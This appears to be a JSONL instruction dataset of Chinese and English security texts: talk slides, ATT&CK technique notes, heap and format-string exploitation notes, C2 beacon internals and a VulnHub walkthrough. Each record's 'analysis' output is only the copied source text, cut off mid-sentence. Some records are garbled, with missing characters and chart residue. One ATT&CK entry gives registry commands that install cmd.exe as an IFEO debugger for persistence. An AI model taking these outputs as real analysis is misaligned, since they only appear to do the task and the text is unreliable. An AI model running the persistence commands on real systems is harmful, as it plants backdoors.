微信公众号 公众号\"Hacking就是好玩\"在去年关注的有 2400+ 今年也整整番了倍有 4800+ 常读户 今年在公众号发了章27篇也刷新了我的记录每篇都是原创阅读量都在1000+ 收 有好多联系想在公众号投放告篇的价格在700左右挺诱的我想了想还是拒绝了写公众号是作为 个业余爱好有些东还是保持最初的样较好 通过 知识星球 的收也能够撑起 Hacking8信息流 和 公众号 的常维护了 作 作 今年换了作也聚集于安全开发上主要做windows的将红队中常的段以程化的式实现语在 GoCC++PythonNodeJs上切换前三个主要是写客户端Python主要写后端和些爬脚本node 和vue主要写 electron 在windows上没有写c#是个遗憾除必要我也不太想花精再学语了 公司氛围也很轻松所以有时间进各种的技术学习看了很多代码把它们些精华吸收了下记录在了博客 github和知识星球 github issue收集了不少感兴趣的资料 https://github.com/boy-hack/boy-hack/issues 回望下今年做了些什么这是今年我博客发表章的统计图和去年相章数量是增加的 今年把 projectdiscover 的项全都过了遍写了篇源码阅读分享在知识星球上我还布置了次有关扫描 器的作业 今年学习了逆向基于逆向对Go编译的进制进混淆基于逆向逆向yara和提取goby指纹这是最好玩的 事情之了 关于红队", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# T1123-win-使用soundrec音频收集 ## 来自ATT&CK的描述 攻击者可以利用计算机的外围设备例如麦克风和网络摄像头或应用程序例如语音和视频呼叫服务来捕获音频记录以便侦听敏感的对话用以收集信息 恶意软件或脚本可能用于通过操作系统或应用程序提供的可用API与设备进行交互以捕获音频音频文件可能会写入磁盘并在以后被泄漏 ## 测试案例 soundrec可以通过开发板采集声音并通过电脑端显示波形适用于 5402 dsp开发板 ## 检测日志 Windows安全日志sysmon日志 ## 测试复现 暂无 ## 测试留痕 暂无 ## 检测规则/思路 ### splunk规则 由于可能会使用各种API因此很难检测到此技术取决于正常使用系统的方式有关API使用的遥测数据可能没有用但可以为发生在系统上的其他潜在恶意活动提供上下文 可能指示技术使用的行为包括未知或异常的进程访问与与麦克风录音设备或录音软件交互的设备或软件相关联的API以及周期性地将包含音频数据的文件写入磁盘的进程 ```yml index=windows SourceName=Microsoft-Windows-PowerShell *WindowsAudioDevice-Powershell-Cmdlet* //use voice cmdlet in powershell index=windows source=WinEventLog:Microsoft-Windows-Sysmon/Operational (EventCode=1 Image=*\\\\explorer.exe CommandLine=*WindowsSoundRecorder*) OR (EventCode=1 Image=*\\\\soundrec.exe) // soundrecorder started with this command:explorer.exe shell:appsFolder\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App index=windows source=WinEventLog:Microsoft-Windows-Sysmon/Operational (EventCode=1 CommandLine=*/DURATION*) OR (EventCode=1 CommandLine=*/FILE*) // check all commandlines that used /DURATION and /FILE as a output file in it ``` ### 建议 如果你对windows以及powershell比较了解的话你可以使用Windows日志来完成监视检测当然最好的方法是使用Sysmon日志 ## 相关TIP [[T1123-win-使用AudioDeviceCmdlets进行音频收集]] ## 参考推荐 MITRE-ATT&CK-T1123 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: Screen date: 2021-01-02 20:03:55 background: bg-emerald-500 tags: - terminal - session - utility categories: - Linux Command intro: | This is a quick reference guide cheat sheet for the screen command. plugins: - copyCode --- Getting Started --------------- ### Getting started ```shell script $ screen ``` 1\\. Press Ctrl-A D to detach session --- 2\\. List all screen sessions ```shell script $ screen -ls ``` 3\\. Re-attach a screen Session ```shell script $ screen -r ``` ### Options {.col-span-2} | Options | Example | Description | |---------|---------------------------------------|---------------------------------------------------------| | `-S` | screen -S debug | Start a new session with session name | | `-ls` | screen -ls | List running sessions / screens | | `-x` | screen -x | Attach to a running session | | `-r` | screen -r debug | Attach to a running session with name | | `-R` | screen -R debug | Attach to a session _(Will create if it doesn't exist)_ | | `-d` | screen -d -m wget xxxx.com/large.file | Start screen in detached mode | | `-X` | screen -X -S debug kill | Kill a running session | {.show-header} ### Help | Command | Description | |--------------|--------------------------------| | `Ctrl-A` `?` | See help _(Lists keybindings)_ | {.shortcuts} ### Window Management {.col-span-2 .row-span-2} | Command | Description | |----------------------------------------|-----------------------------------------| | `Ctrl-A` `C` | Create new window | | `Ctrl-A` `Ctrl-A` | Change to last-visited active window | | `Ctrl-A` `0...9` | Change to window by number | | `Ctrl-A` `'` `<0...9 or title>` | Change to window by number or name | | `Ctrl-A` `N` or `Ctrl-A` `` | Change to next window in list | | `Ctrl-A` `P` or `Ctrl-A` `` | Change to previous window in list | | `Ctrl-A` `\"` | See window list | | `Ctrl-A` `W` | Show window bar | | `Ctrl-A` `K` | Kill current window _(not recommended)_ | | `Ctrl-A` `\\` | Kill", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n本电子书为某站收费 VIP VIP VIP VIP 资源 由 灰鸽子网络资源分享社区 免费共享 灰鸽子网络资源分享社区,,,,致力为大家提供最新最全最优秀的网络资源 论坛主要负责提供各类优秀视频优秀书籍以及各类优秀源码资源 网赚编程逆向建站安全这几个大方向其中以 网赚编程逆向为主打方向 http://www.huigezi.cc http://www.huigezi.cc http://www.huigezi.cc http://www.huigezi.cc <<<< 近期论坛经常被某些收费站 DDOS DDOS DDOS DDOS 攻击 >>>> http://www.duominuo.cc http://www.duominuo.cc http://www.duominuo.cc http://www.duominuo.cc <<<< 如果论坛无法访问请尝试其他域名 >>>> http://www.52dmn.com http://www.52dmn.com http://www.52dmn.com http://www.52dmn.com <<<< 最好加群第一时间获知论坛动向 >>>> 官方群 55059882 ( 500 人群未满 ) 千人群暂不开放500 人群满后再开放)134624974 计算机精品学习资料大放送 软考官方指定教材及同步辅导书下载 | 软考历年真是解析与答案 软考视频 | 考试机构 | 考试时间安排 Java 一览无余Java 视频教程 | Java SE | Java EE .Net 技术精品资料下载汇总ASP.NET 篇 .Net 技术精品资料下载汇总C#语言篇 .Net 技术精品资料下载汇总VB.NET 篇 撼世出击C/C++编程语言学习资料尽收眼底 电子书+视频教程 Visual C++(VC/MFC)学习电子书及开发工具下载 Perl/CGI 脚本语言编程学习资源下载地址大全 Python 语言编程学习资料(电子书+视频教程)下载汇总 最新最全 RubyRuby on Rails 精品电子书等学习资料下载 数据库精品学习资源汇总MySQL 篇 | SQL Server 篇 | Oracle 篇 最强 HTML/xHTMLCSS 精品学习资料下载汇总 最新 JavaScriptAjax 典藏级学习资料下载分类汇总 网络最强 PHP 开发工具+电子书+视频教程等资料下载汇总 UML 学习电子资下载汇总 软件设计与开发人员必备 经典 LinuxCBT 视频教程系列 Linux 快速学习视频教程一帖通 天罗地网精品 Linux 学习资料大收集(电子书+视频教程) Linux 参考资源大系 Linux 系统管理员必备参考资料下载汇总 Linux shell内核及系统编程精品资料下载汇总 UNIX 操作系统精品学习资料<电子书+视频>分类总汇 FreeBSD/OpenBSD/NetBSD 精品学习资源索引 含书籍+视频 Solaris/OpenSolaris 电子书视频等精华资料下载索引 计算机精品学习资料大放送 软考官方指定教材及同步辅导书下载 | 软考历年真是解析与答案 软考视频 | 考试机构 | 考试时间安排 Java 一览无余Java 视频教程 | Java SE | Java EE .Net 技术精品资料下载汇总ASP.NET 篇 .Net 技术精品资料下载汇总C#语言篇 .Net 技术精品资料下载汇总VB.NET 篇 撼世出击C/C++编程语言学习资料尽收眼底 电子书+视频教程 Visual C++(VC/MFC)学习电子书及开发工具下载 Perl/CGI 脚本语言编程学习资源下载地址大全 Python 语言编程学习资料(电子书+视频教程)下载汇总 最新最全 RubyRuby on Rails 精品电子书等学习资料下载 数据库精品学习资源汇总MySQL 篇 | SQL Server 篇 | Oracle 篇 最强 HTML/xHTMLCSS 精品学习资料下载汇总 最新 JavaScriptAjax 典藏级学习资料下载分类汇总 网络最强 PHP 开发工具+电子书+视频教程等资料下载汇总 UML 学习电子资下载汇总 软件设计与开发人员必备 经典 LinuxCBT 视频教程系列 Linux 快速学习视频教程一帖通 天罗地网精品 Linux 学习资料大收集(电子书+视频教程) Linux 参考资源大系 Linux 系统管理员必备参考资料下载汇总 Linux shell内核及系统编程精品资料下载汇总 UNIX 操作系统精品学习资料<电子书+视频>分类总汇 FreeBSD/OpenBSD/NetBSD 精品学习资源索引 含书籍+视频 Solaris/OpenSolaris 电子书视频等精华资料下载索", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSharpC2 beacon插件机制 Demo代码位置: AgentModules\\DemoModule\\Module.cs 关于插件接口定义 代码位置:Agents\\Stage\\Interfaces\\IAgentModule.cs Init() 方法初始化插件接收两个参数第一个AgentController 规范beacon的行为,定义beacon的通用 功能; 其中 RegisterAgentModule方法需要关注下 再来看第二个参数 ConfigController.cs; // AgentController.cs public void RegisterAgentModule(IAgentModule Module) { // 初始化插件 ConfigController Config Module.Init(this, Config); // 添加模块信息 AgentModules.Add(Module.GetModuleInfo()); } 通过AgentConfigs字典保存beacon的核心信息Set()方法设置beacon配置;还记得之前推过一个 C#写的Agent端里面有个动态修改Config功能和这个差不多意思泛型方法Get() 获取beacon配置 信息; AgentConfig 包括KillData,PPID,BlockDLLs,SpawnTo,Sleep等这些信息基本都是全局 的也就是beacon存活期间必定存在的 重新回到AgentController.cs List AgentModules全局保存 beacon的module信息 可以看到解密完数据后利用Linq 从AgentModules中先获取Module信息再获取命令然后使用call back委托执行具体的命令 Tips: 想要获取命令指令或明文返回结果 首先我们要锁定在AgentController.cs中在解密后和加 密前记录数据然后分析 发送消息函数: SendMessage(C2Data) 也有对应的重载函数 第一套用来发送 Core,AgentOutput 要回传的数据第二套用来自定义的插件模块 关于Beacon端的 LinkAgent, 功能类似 CobaltStrike中的SMB beacon, 即不需要beacon于 TeamServer服务器直连可以借助中间进行数据转发这个后面单独分析 在了解了 AgentController和ConfigController核心操作后接下来我们跟进核心功能 代码位置: Modules\\Core\\CoreModule.cs Beacon所有的功能都必须按照规范 也就是继承IAgentModule接口完成Init() 初始化操作和 GetModuleInfo() 公开当前模块的实体功能 CoreModule.cs public void RegisterAgentModule(IAgentModule Module) { Module.Init(this, Config); AgentModules.Add(Module.GetModuleInfo()); } 具体看ModuleInfo类 public class ModuleInfo { // Name表示当前模块的名称 public string Name { get; set; } // 当前模块具体含有的命令 public List Commands { get; set; } public class Command { 前面我们说过 AgentController 里面的RegisterAgentModule函数挺重要的当然在注册 AgentModule前肯定需要先加载 整个逻辑非常清楚了 从我们下发的AgentTask 对象 Parameters字典参数中获取 Assembly,加载 到当前域中根据前面的接口规范创建实例获取ModuleInfo,但是这里成功注册模块后 控制端 UI上并没有输出相关帮助信息而且执行功能也没有返回实际的结果 这里需要对比下 SharpC2 早期版本Dev branch 之前在https://www.c2.tips/2020/10/265/也提到过,load-module怎么做的具体看下代码 // 命令的名称 public string Name { get; set; } // 命令执行委托回调 public AgentController.AgentCommand Delegate { get; set; } } } // 不得不说 除了学习代码功能如何设计也是重点难点啊:) // SharpC2 Dev版本\\Client\\AgentCommand.cs public s", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMicrosoft Passport Yahoo MMORPG MMORPG MMORPG MMORPG 0 5000 10000 15000 20000 25000 30000 35000 40000 02/07 02/10 02/13 02/16 02/19 02/22 02/25 02/28 03/03 03/06 03/09 03/12 03/15 03/18 03/21 03/24 03/27 03/30 04/02 04/05 04/08 04/11 04/14 04/17 04/20 04/23 04/26 04/29 05/02 0 1000 2000 3000 4000 5000 6000 7000 8000 9000 CCU Lock counts 0 1000 2000 3000 4000 5000 6000 7000 8000 9000 02/07 02/10 02/13 02/16 02/19 02/22 02/25 02/28 03/03 03/06 03/09 03/12 03/15 03/18 03/21 03/24 03/27 03/30 04/02 04/05 04/08 04/11 04/14 04/17 04/20 04/23 04/26 04/29 05/02 0 200000 400000 600000 800000 1000000 1200000 1400000 Lock Counts Income ! \"!! ! # #$% ! # #&\" !% !'%&($' )*#+,-../+0*)- *#1.22+.+*.3/1%4 Traffic Analysis CAPATCHA Signature Based Detection Anti-virus 5 5 56.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# tcache tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术see [commit](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc)目的是提升堆管理的性能但提升性能的同时舍弃了很多安全检查也因此有了很多新的利用方式 > 主要参考了 glibc 源码angelboy 的 slide 以及 tukan.farm链接都放在最后了 ## 相关结构体 tcache 引入了两个新的结构体`tcache_entry` 和 `tcache_perthread_struct` 这其实和 fastbin 很像但又不一样 ### tcache_entry [source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_entry) ```C /* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; ``` `tcache_entry` 用于链接空闲的 chunk 结构体其中的 `next` 指针指向下一个大小相同的 chunk 需要注意的是这里的 next 指向 chunk 的 user data而 fastbin 的 fd 指向 chunk 开头的地址 而且tcache_entry 会复用空闲 chunk 的 user data 部分 ### tcache_perthread_struct [source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_perthread_struct) ```C /* There is one of these for each thread, which contains the per-thread cache (hence \"tcache_perthread_struct\"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; # define TCACHE_MAX_BINS 64 static __thread tcache_perthread_struct *tcache = NULL; ``` 每个 thread 都会维护一个 `tcache_perthread_struct`它是整个 tcache 的管理结构一共有 `TCACHE_MAX_BINS` 个计数器和 `TCACHE_MAX_BINS`项 tcache_entry其中 - `tcache_entry` 用单向链表的方式链接了相同大小的处于空闲状态free 后的 chunk这一点上和 fastbin 很像 - `counts` 记录了 `tcache_entry` 链上空闲 chunk 的数目每条链上最多可以有 7 个 chunk 用图表示大概是 ## 基本工作方式 - 第一次 malloc 时会先 malloc 一块内存用来存放 `tcache_perthread_struct` - free 内存且 size 小于 small bin size 时 - tcache 之前会放到 fastbin 或者 unsorted bin 中 - tcache 后 - 先放到对应的 tcache 中直到 tcache 被填满默认是 7 个 - tcache 被填满之后再次 free 的内存和之前一样被放到 fastbin 或者 unsorted bin 中 - tcach", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\npin2pwn: How to Root an Embedded Linux Box with a Sewing Needle Brad Dixon - Carve Systems DEF CON 24 It works Easy Teachable Dramatic USEFUL NOVELTY Risky Crude Perhaps redundant Demo Prior Art Significant body of work around fault injection and glitching at the IC level for secure processors Recent system-level applications: - 2004: WRT54 Bricked Router recovery, Administrator note by mbm - How to Hack the Hudl We give Rockchip a good seeing to, Pen Test Partners blog post - WINKHUB Side Channel Attack, Kevin2600 For today When this attack can be effective Why this attack works How to defend against this attack RISKS TO HARDWARE I have not yet destroyed hardware but this is abuse of semiconductor devices. Use on equipment you can afford to destroy. Depending on the hardware you may have better and safer options. Use those first. 102 Generic Networked Doohickey Product Design Order of Attack 1. Serial 2. JTAG 3. 4. Flash to CPU interface CPU Flash Ethernet Memory Serial JTAG Other I/O Parallel or SPI flash poke here Why does this work? Disrupt boot chain with a transient fault Activate an unexpected failure path Boot loader Kernel load to RAM Scan / Mount ? Init / Start App poke now or now Scenario #1: Exploitable U-Boot Configuration 1. No JTAG. 2. Homegrown secure boot 3. Try to load and boot kernel #1 4. Try to load and boot kernel #2 5. If that fails then return to U-Boot prompt! Scenario #2: Exploitable Init Configuration /bin/init reads /etc/inittab /bin/init runs /etc/rc /etc/rc starts application in the foreground Application grabs console and presents a login prompt with credentials we dont know BUT if the application fails to load then /bin/init runs /bin/sh Lab Example FT232R - IOH=2mA - Imax=24mA How To Survey HW Identify ports to monitor boot Datasheets Inspect failure modes, if possible Get boot timing Prepare Select pins to poke Get some timing help Poke! May take a few attempts Power-off between tests Poke Monitor for", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n作者:http://www.sectop.com/ 文档制作:http://www.mythhack.com PHP 代码审计 目录 1. 概述 ...................................................................... 2 2. 输入验证和输出显示 ......................................................... 2 1. 命令注入 ............................................................ 3 2. 跨站脚本 ............................................................ 3 3. 文件包含 ............................................................ 4 4. 代码注入 ............................................................ 4 5. SQL注入 ............................................................. 4 6. XPath 注入 ........................................................... 4 7. HTTP响应拆分 ........................................................ 5 8. 文件管理 ............................................................ 5 9. 文件上传 ............................................................ 5 10. 变量覆盖 ............................................................ 5 11. 动态函数 ............................................................ 6 3. 会话安全 .................................................................. 6 1. HTTPOnly设置 ........................................................ 6 2. domain 设置 .......................................................... 6 3. path设置 ............................................................ 6 4. cookies持续时间 ...................................................... 6 5. secure 设置 .......................................................... 6 6. session固定 ......................................................... 7 7. CSRF ................................................................ 7 4. 加密 ...................................................................... 7 1. 明文存储密码 ......................................................... 7 2. 密码弱加密........................................................... 7 3. 密码存储在攻击者能访问到的文件 ......................................... 7 5. 认证和授权................................................................. 7 1. 用户认证 ....................................", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# T1546-012-win-事件触发执行-图片文件执行选项注入 ## 来自ATT&CK描述 攻击者可以通过执行由图像文件执行选项 (IFEO) 调试器触发的恶意内容来建立持久性或权限提升IFEO使开发人员能够将调试器附加到应用程序创建进程时应用程序的IFEO中的调试器将附加到应用程序的名称之前从而有效地在调试器下启动新进程例如`C:\\dbg\\ntsd.exe -g notepad.exe` IFEO可以通过注册表直接设置也可以通过GFlags工具在Global Flags中设置IFEO表示为`Debugger`注册表中的值在那里是附加调试器的二进制文件`HKLM\\SOFTWARE{{\\Wow6432Node}}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\``` IFEO还可以在指定程序静默退出即被自身或第二个非内核模式进程提前终止时启动任意监控程序与调试器类似静默退出监控可以通过GFlags或通过直接修改 IFEO和静默进程退出注册表值来启用`HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\` 与Accessibility Features类似在 Windows Vista 和更高版本以及 Windows Server 2008或更高版本上可以修改注册表项将cmd.exe或其他提供后门访问的程序配置为可访问性程序的调试器 例如utilman.exe修改注册表后在使用键盘或与远程桌面协议连接时在登录屏幕上按适当的组合键将导致调试器程序以 SYSTEM 权限执行 与Process Injection类似这些值也可能被滥用通过利用恶意可执行文件在计算机上不同进程的上下文中加载和运行来获得权限提升安装IFEO机制还可以通过持续触发调用来提供持久性 恶意软件还可能通过注册无效调试器来使用IFEO来减少防御这些调试器重定向并有效地禁用各种系统和安全应用程序 ## 测试案例 ### 测试1 IFEO Add Debugger 测试命令用命令提示符运行需要管理员权限root/admin ``` REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v Debugger /d \"#{payload_binary}\" ``` target_binaryC:\\Windows\\System32\\calc.exe payload_binaryC:\\Windows\\System32\\cmd.exe 清理命令 ``` reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v Debugger /f >nul 2>&1 ``` ### 测试2 IFEO Global Flags 测试命令用命令提示符运行需要管理员权限root/admin ``` REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v GlobalFlag /t REG_DWORD /d 512 REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v ReportingMode /t REG_DWORD /d 1 REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v MonitorProcess /d \"#{payload_binary}\" ``` target_binaryC:\\Windows\\System32\\notepad.exe payload_binaryC:\\Windows\\System32\\cmd.exe 清理命令 ``` reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File E", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nResilience Despite Malicious Participants Radia Perlman radia.perlman@emc.com EMC 1 This talk Ill give a few examples to show the wildly different types of problems and solutions 2 Byzantine Failures Fail-stop: Something works perfectly, then halts Byzantine: Where something stops doing the right thing, but doesnt halt, for instance Sends incorrect information Computes incorrectly The term came from a famous paper where a bunch of processors try to agree on the value of a bit (attack or retreat) Lamport, L., Shostak, R., Pease, M. (1982). The Byzantine Generals Problem, ACM Transactions on Programming Languages and System Misbehavior can cause problems even if not consciously malicious (bugs, misconfiguration, hardware errors) 3 Malicious Participants All sorts of things can be subverted with a small number of malicious participants How a Lone Hacker Shredded the Myth of Crowdsourcing https://medium.com/backchannel/how-a-lone-hacker- shredded-the-myth-of-crowdsourcing-d9d0534f1731 4 Malicious Participants All sorts of things can be subverted with a small number of malicious participants How a Lone Hacker Shredded the Myth of Crowdsourcing https://medium.com/backchannel/how-a-lone-hacker- shredded-the-myth-of-crowdsourcing-d9d0534f1731 HoweverThings that shouldnt work (but do) Wikipedia Ebay 5 Ill talk about different examples PKI model resilient to malicious CAs Networks resilient to malicious switches Resilient and nonresilient designs for data storage with assured delete Human 6 Example 1: PKI 7 Whats PKI? Public Key Infrastructure A way for me to know your public key 8 Next topic: Trust Models for PKI Where damage from dishonest or confused CAs can be limited 9 Quick review of public keys, certificates, PKI, CAs Certification Authority (CA) signs Certificates 10 Alices Certificate, signed by CA 11 Name=Alice Public key= 489024729 CAs signature Communication using certs Alice Bob Alice, [Alices key is 24789]CA Bob, [Bobs key is 34975]CA mu", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking 911: Adventures in Disruption, Destruction, and Death quaddi, r3plicant & Peter Hefley August 2014 Jeff Tully Christian Dameff Peter Hefley Physician, MD Emergency Medicine Physician, MD Pediatrics IT Security, MSM, C|CISO, CISA, CISSP, CCNP, QSA Senior Manager, Sunera Jeff Tully Christian Dameff Peter Hefley Open CTF champion sudoers- Defcon 16 Speaker, Defcon 20 Wrote a program for his TI-83 graphing calculator in middle school Speaker, Defcon 20 Gun hacker, SBR aficianado This talk is neither sponsored, endorsed, or affiliated with any of our respective professional institutions or companies. No unethical or illegal practices were used in researching, acquiring, or presenting the information contained in this talk. Do not attempt the theoretical or practical attack concepts outlined in this talk. Disclaimer Outline - Why This Matters (Pt. 1) - 911 Overview - Methodology - Attacks - Why This Matters (Pt. 2) Why This Matters (Pt. 1) 4/26/2003 9:57pm Emergency Medical Services (EMS) Research Aims Investigate potential vulnerabilities across the entire 911 system Detail current attacks being carried out on the 911 system Propose solutions for existing vulnerabilities and anticipate potential vectors for future infrastructure modifications Methodology Interviews Regional surveys Process observations Practical experimentation Solution development Wired Telephone Call End Office Selective Router PSAP ALI Database Voice Only Voice and Data Data Voice Voice + ANI Voice + ANI ANI ALI Wireless Phase 1 Telephone Call Mobile Switching Center Selective Router PSAP ALI Database Voice Only Voice and Data Data Voice Voice + pANI/ESRK Voice + pANI/ESRK pANI / ESRK ALI Cell Tower Voice Callback # (CBN) Cell Tower Location Cell Tower Sector pANI / ESRK CBN, Cell Tower Location, Cell Tower Sector, pANI / ESRK Mobile Positioning Center Wireless Phase 1 Data Wireless Phase 2 Telephone Call Mobile Switching Center Selective Router PSAP ALI Database Voice Only Voice and D", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n### 64位程序格式化字符串漏洞原理 其实 64 位的偏移计算和 32 位类似都是算对应的参数只不过 64 位函数的前 6 个参数是存储在相应的寄存器中的那么在格式化字符串漏洞中呢虽然我们并没有向相应寄存器中放入数据但是程序依旧会按照格式化字符串的相应格式对其进行解析 ### hijack GOT原理 在目前的 C 程序中libc 中的函数都是通过 GOT 表来跳转的此外在没有开启 RELRO 保护的前提下每个 libc 的函数对应的 GOT 表项是可以被修改的因此我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址从而程序在执行 printf 的时候实际执行的是 system 函数 假设我们将函数 A 的地址覆盖为函数 B 的地址那么这一攻击技巧可以分为以下步骤 - 确定函数 A 的 GOT 表地址 - 这一步我们利用的函数 A 一般在程序中已有所以可以采用简单的寻找地址的方法来找 - 确定函数 B 的内存地址 - 这一步通常来说需要我们自己想办法来泄露对应函数 B 的地址 - 将函数B的内存地址写入到函数 A 的 GOT 表地址处 - 这一步一般来说需要我们利用函数的漏洞来进行触发一般利用方法有如下两种 - 写入函数write 函数 - ROP ```text pop eax; ret; # printf@got -> eax pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset ``` - 格式化字符串任意地址写 ### 堆上的格式化字符串漏洞原理 所谓堆上的格式化字符串指的是格式化字符串本身存储在堆上这个主要增加了我们获取对应偏移的难度而一般来说该格式化字符串都是很有可能被复制到栈上的 ### 格式化字符串盲打原理 所谓格式化字符串盲打指的是只给出可交互的 ip 地址与端口不给出对应的 binary 文件来让我们进行 pwn其实这个和 BROP 差不多不过 BROP 利用的是栈溢出而这里我们利用的是格式化字符串漏洞一般来说我们按照如下步骤进行 - 确定程序的位数 - 确定漏洞位置 - 利用", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWesley McGrew, Ph.D. Director of Cyber Operations wesley.mcgrew@hornecyber.com @McGrewSecurity Secure Penetration Testing Operations Demonstrated Weaknesses in Learning Material and Tools Bio Co-Founder of HORNE Cyber, previously Halberd Group Directs and participates Penetration testing engagements Research and development Adjunct professor at Mississippi State University NSA-CAE Cyber Operations program Information Security & Reverse Engineering Insecure practices used on penetration tests put clients and penetration testers alike at risk. Penetration testers and clients during/between engagements are attractive soft targets. The root cause of this problem is a lack of awareness, and learning materials that teach insecure practices. This has to change. The Situation at a Glance Previous and Current Work The Threat Role of Learning and Reference Materials Analysis of Currently-Available Materials Recommended Best Practices Demonstration and Tool Release Snagterpreter Hijack meterpreter sessions Conclusions Call to Action What are we covering today? Two previous papers & presentations, DEF CON 21 and 23 Where are we? This work a paper and talk studying the root causes of these issues, recommending change. Why is the compromise of a penetration tester attractive? As a Target Tools, tactics, procedures. Intellectual property. Operational Cover For Compromising Clients Testers are expected to break rules, attack, elevate privilege, exfiltrate. The Threat No Standard Dependent on experience, intuition, pattern recognition, and complex ad-hoc processes Tradeoff: Flexibility vs. Rigor We operate as we learn Lowest Common Denominator = Profit No formal requirements for education Few prerequisites No testing requirements Cause and Effect Testing Processes Follow Training Convenience and Expediency Lower Depth & Breadth of Technical Knowledge Lack of Situational Awareness in Secure Operation/Communication Re-applying procedures learned in reading/training t", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# DC 7 下载地址https://download.vulnhub.com/dc/DC-7.zip ## 实战演练 靶场IP地址:`192.168.32.166` ![image-20220713134426055](../../.gitbook/assets/image-20220713134426055.png) 扫描对外端口 ``` (rootkali)-[~] # nmap -p1-65535 192.168.32.166 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 01:44 EDT Nmap scan report for 192.168.32.166 Host is up (0.00068s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:85:DD:9B (VMware) Nmap done: 1 IP address (1 host up) scanned in 2.66 seconds ``` 浏览器访问80端口,发现web框架是`Drupal` ![image-20220713134931984](../../.gitbook/assets/image-20220713134931984.png) 扫描drupal没有发现什么东西 ``` (rootkali)-[/opt/droopescan-master] # docker run droopescan scan drupal -u http://192.168.32.166 [+] No plugins found. [+] Themes found: startupgrowth_lite http://192.168.32.166/themes/startupgrowth_lite/ http://192.168.32.166/themes/startupgrowth_lite/LICENSE.txt [+] Possible version(s): 8.7.0 8.7.0-alpha1 8.7.0-alpha2 8.7.0-beta1 8.7.0-beta2 8.7.0-rc1 8.7.1 8.7.10 8.7.11 8.7.12 8.7.13 8.7.14 8.7.2 8.7.3 8.7.4 8.7.5 8.7.6 8.7.7 8.7.8 8.7.9 [+] Possible interesting urls found: Default admin - http://192.168.32.166/user/login [+] Scan finished (0:02:01.475158 elapsed) ``` Google搜索`@DC7USER`,发现一个源码仓库 ![image-20220713135743698](../../.gitbook/assets/image-20220713135743698.png) 在config.php找到一个用户和密码 ``` ``` ![image-20220713135805156](../../.gitbook/assets/image-20220713135805156.png) 使用这个密码进行SSH登录,发现可以登录成功 ![image-20220713135904797](../../.gitbook/assets/image-20220713135904797.png) 查看`mbox`文件 ``` dc7user@dc-7:~$ cat mbox From root@dc-7 Thu Aug 29 17:00:22 2019 Return-path: Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 17:00:22 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from ) id 1i", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBURPKIT Using WebKit to Own the Web 1 2015-07-15 Presented by: Nadeem Douba INTRODUCTION Nadeem Douba Founder of Red Canari, 